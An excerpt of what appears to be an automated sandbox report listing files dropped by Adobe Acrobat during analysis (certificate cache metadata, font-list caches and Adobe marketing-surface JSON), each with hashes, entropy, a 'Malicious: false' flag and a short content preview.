SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklXVBpk3/tfllXlE/HT8kDl1NNX8RolJuRdxLlGB9lQRYwpDdt:kK6pk3/eT8K7NMa8RdWBwRd
MD5:	A187DDF05078930333EAD5452FCDE0A8
SHA1:	518A6EA80D87E2761FD12BFB1E835E11B8F6C82B
SHA-256:	F10A6D2FA5A7222F14CDAD290F27C8F51CD253C127CC8FCCCF6EDC501A3F7697
SHA-512:	4B26009FF9F3AE9BBC41AE6465E0C4AC22106174263672FCDFBC84DAF32FC8844F56C648E9075663D906B7990D9665E3C0E319590523085DEA78C80D76AD7063
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKN9tL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:19tiDImsLNkPlE99SNxAhUe/3
MD5:	81E2C005B1A858687A48EFCA753FCFFF
SHA1:	29CE455FCA8D858CD3BD0F264541D916B07766EF
SHA-256:	2E88DB51A5F42836CC32BEE8DC8B6F0CD01AA4AE214D5F0A75EA6FC334AED410
SHA-512:	4A889D4455864D636F4FCB54D446EB3847FCA0D088C93BA4179708605383C9B03F85217191A6771C45A9B584A35832FCEB9B670B23DCD06323F7C3F1267D33B2
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7880

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7880

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363056803810114
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJM3g98kUwPeUkwRe9:YvXKX0T5LjIPdZGMbLUkee9
MD5:	4875849FC659FAABDC1EA57CD51453CC
SHA1:	3649AD6B854B6877122BADF6FA0E842FE15BDAAF
SHA-256:	61B15CCD0C6ADFD0DCBBC8E5CAD847B111B3ED8D6D2887374BD943BD7D31B7D1
SHA-512:	CAE86D79AC66C8752C966B4B60E73B8CE4C56077122A4D1566EE26A093E3DAC0F8393C0E35D93C1CD2B4883D0E77AD45A5A0DACD1BD1DA5E718841D9A6AF245E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.314762180713337
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfBoTfXpnrPeUkwRe9:YvXKX0T5LjIPdZGWTfXcUkee9
MD5:	261B6A2D00233B39086DE33ED8D1E0DC
SHA1:	EA32BD8F7821C71FB7443FF10EFF510E1C2C4544
SHA-256:	08B18C73D36DBB4F8A7E6565BACF0F3F825094EF4F0F0C61D5D0FCB007D9D7C5
SHA-512:	90DA4C2135153F2B5CD18D55B63787DC85D5482C16690249057EC329FB54A63442C49DA816A84E324FBDDF2C710F6B5F92D10C8D3E6897EE577F494B6E385CDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.293583255758936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfBD2G6UpnrPeUkwRe9:YvXKX0T5LjIPdZGR22cUkee9
MD5:	3DFC91F0829A2404A92CF842EC5F0FC8
SHA1:	75911DC6518C9D0792EA52ABA7A0548891BE40C4
SHA-256:	CC0C42171C14FD257408E50F0E5F76F3F43BB7ACCDA0B5624D8C78ADD8F55C69
SHA-512:	0581179CC9BD01633347CF3FD12DC7FBE15B4A94787230554A4D5C94E069B3DC32A419529A3C4C558C928824901ED6595372E08BB0D34140F33F268786EAA524
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344048079087905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfPmwrPeUkwRe9:YvXKX0T5LjIPdZGH56Ukee9
MD5:	3D5BA992B763DDFC101BF9B6171F6418
SHA1:	1B9EA91E80AFB4E1FA698BD43DFF4E7BA435871A
SHA-256:	C58715DDF4BEF7F57A05EF4FB672139876E9C481AA21D1224D630ACF9DBC47E9
SHA-512:	AFF7B21C043BDDC089D3707451FCF6A4302D0392AE2787ED9326BE85E33FB7B9CA9CD302C07557881D8FE5B68C947977491B5BE4A65E841F33217F13B7C70B6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6948527145898264
Encrypted:	false
SSDEEP:	24:Yv6X0T5XIQpLgE9cQx8LennAvzBvkn0RCmK8czOCCSg:YvJX1hgy6SAFv5Ah8cv/g
MD5:	FCFD7FF5837DE2FE4B0DCD32390DB86B
SHA1:	72A6A22D5C5AA5183674C5C5D6482C1DE7B17671
SHA-256:	09B06E9D7786488F9D9E86FDD47C6E63C6D4DF0561768AF97063259514D8C3EB
SHA-512:	1C1D93EE9924AEA3C147F1796E60FA00E73EF11A1A2E5D09F9FEA1AB040011B1A91AFF307E8EA72359031C07CA31A89686F7644ED1F9F954119BF3D255712635
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.315905709718072
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJf8dPeUkwRe9:YvXKX0T5LjIPdZGU8Ukee9
MD5:	46279D65891F06098F243E7EF7A40D57
SHA1:	B75E7820E23381AC7BA82083FFBB4AE2010382DB
SHA-256:	2EEF7E87EEA7E851C1F959374AD87EDD9C8184EAB892B6ECEC16758C543ECA19
SHA-512:	A861E33FE18A81DA23F408B564249644DE8F07EC2229FB6504A617A3869F32E778E5E2F8BFF1667EC46BAF64A7FDBC1757B44A6164BA9919852E9F00B8413F28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.306697523959754
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfQ1rPeUkwRe9:YvXKX0T5LjIPdZGY16Ukee9
MD5:	BA5CBB187EF27BCEC8A32045DAA50693
SHA1:	6D15ED0F437391AE703F3564001B2F3C355FE963
SHA-256:	CFA98B60F4288BB426C2D95F88BD8CEF5C5FCEE88950E9770062604554F2E8D6
SHA-512:	1C800F7EA619A6BFBDE2B234E25F3019CCAC95443B6EFAB22DEF4AF282B32E7917F4E7113A79CAB9F7117011D34E71C8C8F17B4C365DE56518FA60A59D18BF54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3251433215511375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfFldPeUkwRe9:YvXKX0T5LjIPdZGz8Ukee9
MD5:	896AEEB48759DF126060BCAD5610EBAA
SHA1:	24FF80678510451C442D07CC695815CB75BCBA31
SHA-256:	EC5047EA7031C94B2BD05499E6535ED2EE747AA858D0B4D35F1BD1DD9B2ED780
SHA-512:	C5DE4B2D814B12ABA6F777343292069272BB94099BE793210E48AE320778827CF821347FBB92F9935324DF792BF0CA75FE651ED0284619196517F9600CFD2973
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341730267223933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfzdPeUkwRe9:YvXKX0T5LjIPdZGb8Ukee9
MD5:	4F1FDDD75A5937B5320B0C96B25CB799
SHA1:	651797A3CCCBFBB1F02E9355CA80A155052BA479
SHA-256:	CFDF8B9104AD37BE374265E30D5AC1824ED103800D2A316718871B18FD3EF7FC
SHA-512:	D2023EBBE3AF2DB8976755626FB50BBD0E4054EC3E4F520E4F4E7C160DC0619973CA0F5CE7DCCDE343F60A8FBD04D5ACDEDFE68D509EDD06506DC49FF07CB331
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322544551362264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfYdPeUkwRe9:YvXKX0T5LjIPdZGg8Ukee9
MD5:	BE07EE25E4D91D2D3FCD5F88D50B1A46
SHA1:	E78792E48946057B7685620F528D4BBF61CD6F8A
SHA-256:	264FD972A2B61918C1DDC2438BECA7E3F269AF0D697DB27990E80DD1ACCB0238
SHA-512:	0FF29A9C57BCE95A775E8F94B39484AD41B4BCFA6AE8FE5238A4B26CC4714EF8CD6A62837409CB90F76B71001A91EED1BF89071E17B328783C3D065AD5BDE38E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.309573188921131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJf+dPeUkwRe9:YvXKX0T5LjIPdZG28Ukee9
MD5:	638AACB799EA6E384D7437918DFD010C
SHA1:	173EA7FB172C7D2B1BD6AD1067AC5C6DB0DC31B8
SHA-256:	80896A1D5BDCC1371B327C1B6560EEF8026C556B97EACC101A76598E5F143FF2
SHA-512:	A681938D6BA37AFAB008B3B23072F67A88F1A0C28FC6E145F6A8A6676EB55DA5A47E0B76047AD0D383E6FBB0B5055D907C2C4DBB946C9FBA0C1F172684027CB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

